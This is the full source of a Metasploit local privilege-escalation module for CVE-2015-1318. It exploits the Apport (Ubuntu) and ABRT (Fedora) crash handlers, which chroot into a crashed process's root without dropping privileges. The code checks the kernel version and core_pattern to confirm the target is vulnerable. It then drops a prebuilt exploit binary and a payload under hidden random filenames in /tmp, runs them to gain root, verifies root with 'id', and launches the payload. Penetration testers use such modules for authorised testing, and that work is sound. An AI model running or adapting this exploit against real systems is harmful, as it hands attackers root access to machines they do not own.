Apport/ABRT - 'chroot' Local Privilege Escalation (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apport / ABRT chroot Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges on Linux systems by
        invoking the default coredump handler inside a namespace ("container").

        Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are
        vulnerable, due to a feature which allows forwarding reports to
        a container's Apport by changing the root directory before loading
        the crash report, causing 'usr/share/apport/apport' within the crashed
        task's directory to be executed.

        Similarly, Fedora is vulnerable when the kernel crash handler is
        configured to change root directory before executing ABRT, causing
        'usr/libexec/abrt-hook-ccpp' within the crashed task's directory to be
        executed.

        In both instances, the crash handler does not drop privileges,
        resulting in code execution as root.

        This module has been tested successfully on Apport 2.14.1 on
        Ubuntu 14.04.1 LTS x86 and x86_64 and ABRT on Fedora 19 and 20 x86_64.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Stéphane Graber', # Independent discovery, PoC and patch
          'Tavis Ormandy', # Independent discovery and C exploit
          'Ricardo F. Teixeira', # shell exploit
          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
        ],
      'DisclosureDate' => 'Mar 31 2015',
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        => [[ 'Auto', {} ]],
      'References'     =>
        [
          [ 'CVE', '2015-1318' ],
          [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],
          # Exploits
          [ 'EDB', '36782' ],
          [ 'EDB', '36746' ],
          [ 'URL', 'https://gist.github.com/taviso/0f02c255c13c5c113406' ],
          # ABRT (Fedora)
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],
          # Apport (Ubuntu)
          [ 'URL', 'https://usn.ubuntu.com/usn/USN-2569-1/' ],
          [ 'URL', 'https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893' ],
          [ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758' ],
          [ 'URL', 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ]
        ]
    ))
    register_options(
      [
        OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
      ])
  end

  def base_dir
    datastore['WritableDir']
  end

  def check
    kernel_version = Gem::Version.new cmd_exec('uname -r').split('-').first

    if kernel_version < Gem::Version.new('3.12')
      vprint_error "Linux kernel version #{kernel_version} is NOT vulnerable"
      return CheckCode::Safe
    end

    vprint_good "Linux kernel version #{kernel_version} is vulnerable"

    kernel_core_pattern = cmd_exec 'cat /proc/sys/kernel/core_pattern'

    # Vulnerable core_pattern (abrt):
    #   kernel.core_pattern = |/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
    # Patched systems no longer preface the command with /usr/sbin/chroot
    #   kernel.core_pattern = |/usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
    if kernel_core_pattern.include?('chroot') && kernel_core_pattern.include?('abrt-hook-ccpp')
      vprint_good 'System is configured to chroot ABRT for crash reporting'
      return CheckCode::Vulnerable
    end

    # Vulnerable core_pattern (apport):
    #   kernel.core_pattern = |/usr/share/apport/apport %p %s %c %P
    if kernel_core_pattern.include? 'apport'
      vprint_good 'System is configured to use Apport for crash reporting'

      res = cmd_exec 'apport-cli --version'

      if res.blank?
        vprint_error 'Apport is NOT installed'
        return CheckCode::Safe
      end

      apport_version = Gem::Version.new(res.split('-').first)

      if apport_version >= Gem::Version.new('2.13') && apport_version < Gem::Version.new('2.17.1')
        vprint_good "Apport version #{apport_version} is vulnerable"
        return CheckCode::Vulnerable
      end

      vprint_error "Apport version #{apport_version} is NOT vulnerable"

      return CheckCode::Safe
    end

    vprint_error 'System is NOT configured to use Apport or chroot ABRT for crash reporting'

    CheckCode::Safe
  end

  def upload_and_chmodx(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    cmd_exec "chmod +x '#{path}'"
    register_file_for_cleanup path
  end

  def exploit
    if check != CheckCode::Vulnerable
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    # Upload Tavis Ormandy's newpid exploit:
    # - https://www.exploit-db.com/exploits/36746/
    # Cross-compiled with:
    # - i486-linux-musl-cc -static newpid.c
    path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid'
    fd = ::File.open path, 'rb'
    executable_data = fd.read fd.stat.size
    fd.close

    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    upload_and_chmodx executable_path, executable_data

    # Upload payload executable
    payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
    payload_path = "#{base_dir}/#{payload_name}"
    upload_and_chmodx payload_path, generate_payload_exe

    # newpid writes an 'exploit' directory
    # which must be removed manually if exploitation fails
    register_dir_for_cleanup "#{base_dir}/exploit"

    # Change working directory to base_dir,
    # allowing newpid to create the required hard links
    cmd_exec "cd '#{base_dir}'"

    print_status 'Launching exploit...'
    output = cmd_exec executable_path
    output.each_line { |line| vprint_status line.chomp }

    # Check for root privileges
    id = cmd_exec 'id'

    unless id.include? 'root'
      fail_with Failure::Unknown, 'Failed to gain root privileges'
    end

    print_good 'Upgraded session to root privileges'
    vprint_line id

    # Execute payload executable
    vprint_status 'Executing payload...'
    cmd_exec payload_path
  end
end